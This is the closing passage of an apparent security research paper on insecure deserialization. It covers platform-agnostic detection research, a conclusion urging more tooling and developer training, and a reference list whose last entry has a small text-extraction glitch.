Since insecure deserialization vulnerabilities exist across various different languages, platforms and frameworks, the ideal detection scenario would be platform agnostic. In order to achieve this, additional research will be required to identify commonalities among deserialization mechanisms across various different platforms. The research conducted to determine approaches for platform-agnostic detection will likely be more scientific and theoretical in nature. Limited research has examined this approach, and further contributions from the industry will be required before viable candidates for detection can be developed.

A research study conducted at the University of Greece in 2019 examined the use of ObjectMap, a tool in development to prevent insecure deserialization for both PHP and Java. While limited research in this category exists, the paper provided a starting point in

attempting to detect deserialization attacks using a platform-agnostic approach. This paper's conclusions explicitly stated that this is an under-researched area that will require additional contributions before more holistic exploitation, detection, and prevention techniques are developed (Koutroumpouchos, Lavdanis, Veroni, Ntantogian, & Xenakis, 2019).

## 10. Conclusion

Insecure deserialization vulnerabilities are dangerous in part due to the lack of knowledge surrounding them. Despite several exploits and tutorials on this topic, deserialization is still well-known as an under-researched area. This vulnerability category will likely continue to pose a threat to organizations until additional industry contributions are made in tooling, discovery, exploitation, and detection.

Further, several of the IDS signatures in readily available security software target detection of deserialization vulnerabilities tied to specific software. Organizations should be mindful of this when implementing a detection solution to catch deserialization vulnerabilities in proprietary applications. Additionally, further research in a more generic deserialization detection tool not tied to a specific language or platform would greatly benefit the security community. This task, while not trivial, has limited contributions in academic research. One of the intentions behind this paper is to provide a side by side comparison of the deserialization techniques across several platforms to assist the community in conducting additional research.

The best defense against descrialization vulnerabilities will be preventing them from being introduced into applications. Prevention can only be accomplished once developers and software architects are sufficiently trained on this vulnerability, including how it works, and the methods used to exploit it.

## References

- Bekerman, D. (2020, June 07). The State of Vulnerabilities in 2019. Retrieved July 25, 2020, from <u>https://www.experfy.com/blog/the-state-of-vulnerabilities-in-2019/</u>
- A8:2017-Insecure Deserialization. (n.d.). Retrieved from <u>https://owasp.org/www-project-top-ten/OWASP\_Top\_Ten\_2017/Top\_10-2017\_A8-</u> Insecure Deserialization.html
- Gielen, R. (2017, September 09). Apache Struts Statement on Equifax Security Breach. Retrieved from <u>https://blogs.apache.org/foundation/entry/apache-struts-statement-on-equifax</u>
- Object Serialization Stream Protocol. (n.d.). Retrieved from https://docs.oracle.com/javase/8/docs/platform/serialization/spec/protocol.html
- Microsoft BinaryFormatter Security Guide. (2017, November 07). Retrieved from <u>https://docs.microsoft.com/en-us/dotnet/standard/serialization/binaryformatter-</u> <u>security-guide</u>
- Brown, M. (2019, January 11). API Proposal: Serialization Guard · Issue #28406 · dotnet/runtime. Retrieved from https://github.com/dotnet/runtime/issues/28406
- Forshaw, J. (2012). Are you my type? Breaking .NET Through Serialization. Retrieved from <u>https://media.blackhat.com/bh-us-</u>

12/Briefings/Forshaw/BH\_US\_12\_Forshaw\_Are\_You\_My\_Type\_WP.pdf

- Polop, C. (n.d.). HackTricks Deserialization. Retrieved from https://book.hacktricks.xyz/pentesting-web/deserialization
- Horn, J. (2014, November 19). CVE-2014-7911: Android. Retrieved from https://seclists.org/fulldisclosure/2014/Nov/51
- Peles, O., & Hay, R. (2015). One Class To Rule Them All 0-Day Deserialization Vulnerabilities in Android (Publication). Retrieved https://www.usenix.org/system/files/conference/woot15/woot15-paper-peles.pdf
- Understand Tasks and Back Stack: Android Developers. (2019, December 27). Retrieved from <u>https://developer.android.com/guide/components/activities/tasks-and-back-stack</u>

.etallenic Confer .s80 Koutroumpouchos, N., Lavdanis, G., Veroni, E., Ntantogian, C., & Xenakis, C. (2019). ObjectMap. Proceedings of the 23rd Pan-Hellenic Conference on Informatics -